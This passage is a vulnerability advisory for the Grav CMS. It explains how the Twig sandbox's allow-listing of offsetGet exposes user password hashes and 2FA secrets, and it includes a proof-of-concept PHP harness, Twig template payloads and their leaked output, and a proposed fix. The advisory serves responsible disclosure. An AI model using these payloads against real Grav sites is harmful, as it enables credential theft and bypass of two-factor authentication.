Description
Summary
`system/config/security.yaml`'s Twig sandbox policy allow-lists `offsetget` and
`offsetexists` for `Grav\Common\User\Interfaces\UserInterface`. The concrete
`Grav\Common\User\DataUser\User` class does not filter which fields `offsetGet()`
returns, so any sandboxed template with access to a `User` object can read
`hashed_password`, `secret` (2FA seed), and `twofa_secret` directly, bypassing the
redaction Grav's own code applies everywhere else.
The core evidence, from Grav's own code
`system/src/Grav/Common/User/DataUser/User.php`:
```php
/**
• {@inheritdoc}
• Override to filter out sensitive fields like password hashes
*/
public function jsonSerialize(): array
{
$items = parent::jsonSerialize();
// Security: Remove sensitive fields that should never be exposed to frontend
unset($items['hashed_password']);
unset($items['secret']); // 2FA secret
unset($items['twofa_secret']); // Alternative 2FA field name
return $items;
}
public function offsetGet($offset)
{
$value = parent::offsetGet($offset);
// only special-cases 'authorized', nothing else -- no redaction
return $value;
}
```
`system/config/security.yaml`:
```yaml
• class: 'Grav\Common\User\Interfaces\UserInterface'
methods: 'authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists'
```
This is the same vulnerability shape as two already-fixed issues in this file
(GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access
path bypassing an intended redaction) recurring on a third class neither fix covered.
Live, end-to-end verification
Built a real `Twig\Environment` wired with the real `Twig\Extension\SandboxExtension`,
policed by Grav's own `GravSecurityPolicy` class, constructed directly from values
parsed out of the actual `system/config/security.yaml` (via
`Symfony\Component\Yaml\Yaml::parseFile`, not a hand-copied excerpt), rendering real
template strings against a real `User` object.
Environment setup:
```bash
git clone https://github.com/getgrav/grav.git
cd grav
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
curl -sL -o /tmp/composer.phar \
"https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
```
`live_sandbox_render_test.php`:
```php
'admin',
'hashed_password' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX',
'secret' => 'JBSWY3DPEHPK3PXP',
'twofa_secret' => 'ALT2FASECRETVALUE9999',
]);
function tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void {
$twig = new Environment(new ArrayLoader(['@Page:test' => $template]));
$twig->addExtension($sandbox);
try {
echo "$label => " . $twig->render('@Page:test', ['user' => $user]) . "\n";
} catch (\Twig\Sandbox\SecurityError $e) {
echo "$label => BLOCKED: " . $e->getMessage() . "\n";
}
}
tryRender('hashed_password via offsetGet()', "{{ user.offsetGet('hashed_password') }}", $sandbox, $user);
tryRender('secret via offsetGet()', "{{ user.offsetGet('secret') }}", $sandbox, $user);
tryRender('twofa_secret via offsetGet()', "{{ user.offsetGet('twofa_secret') }}", $sandbox, $user);
tryRender('twofa_secret via subscript', "{{ user['twofa_secret'] }}", $sandbox, $user);
tryRender('control: user.set() (unlisted)', "{{ user.set('email', '[email protected]') }}", $sandbox, $user);
```
Run: `php live_sandbox_render_test.php`
Output:
```
hashed_password via offsetGet() => $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX
secret via offsetGet() => JBSWY3DPEHPK3PXP
twofa_secret via offsetGet() => ALT2FASECRETVALUE9999
twofa_secret via subscript => BLOCKED: Calling "twofa_secret" property on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.
control: user.set() (unlisted) => BLOCKED: Calling "set" method on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.
```
The control payload (a real, non-allow-listed `User` method) is correctly blocked,
and the target field was confirmed unchanged afterward -- confirming the sandbox is
genuinely active and the three leaks above are real, not an artifact of a failed
sandbox.
Precise nuance for the fix
Twig routes `user.offsetGet('x')` (explicit method call) and `user['x']` (subscript
sugar on a non-built-in `ArrayAccess` object) through two different sandbox checks --
`checkMethodAllowed` against `allowed_methods`, versus `checkPropertyAllowed` against
`allowed_properties`. The subscript form is already correctly blocked, since
`UserInterface` has no `allowed_properties` entry. Only the explicit `.offsetGet()`/
`.offsetExists()` method-call form leaks, because those methods are present in
`allowed_methods`.
Scope, stated honestly
I could not find where Grav core itself binds a `user` variable into the sandboxed
Twig page-content context -- `Twig::processPage()`'s `$twig_vars` has no `'user'` key,
and the Login plugin (the near-universal companion plugin that would populate
"current logged-in user") is not part of this repository. I cannot independently
confirm from this codebase alone whether that binding is always the current session
user (self-disclosure only) or could resolve to an arbitrary other user (site-wide
credential/2FA-secret disclosure). What is independently confirmed entirely from this
repository: the `security.yaml` sandbox policy is Grav core's own security contract,
and it allow-lists a method proven unsafe by Grav's own code, regardless of which
plugin exercises it.
Impact
Any sandboxed Twig context where a `UserInterface` object is reachable (the standard,
documented pattern for exposing "current user" to editor-authored content) allows
extraction of that user's password hash (enabling offline cracking) and 2FA secret
(enabling full authentication bypass by generating valid TOTP codes without possessing
the user's device), by any user with page-edit permission.
Suggested fix
Trimming the `UserInterface` entry alone is insufficient: `User extends Data`, and the
separate generic allowlist entry for `Grav\Common\Data\Data` (`get, value, items,
offsetget, offsetexists`) independently grants the same access via `instanceof`
matching, through three methods (`get`, `value`, `offsetGet`), not just one. I verified
this by simulating the UserInterface-only fix and confirming all three still leak
`hashed_password` and `secret`/`twofa_secret`.
The robust fix mirrors what was already done for Config in GHSA-j274-39qw-32c9:
introduce a redacting facade for User (analogous to SandboxConfig) that filters
hashed_password/secret/twofa_secret on every read path, and allow-list that facade in
place of the raw User/Data class -- rather than trying to enumerate safe methods on a
class whose parent class is independently allow-listed elsewhere in the same policy.
A narrower alternative: override User::get()/value()/offsetGet() to apply the same
redaction jsonSeria…
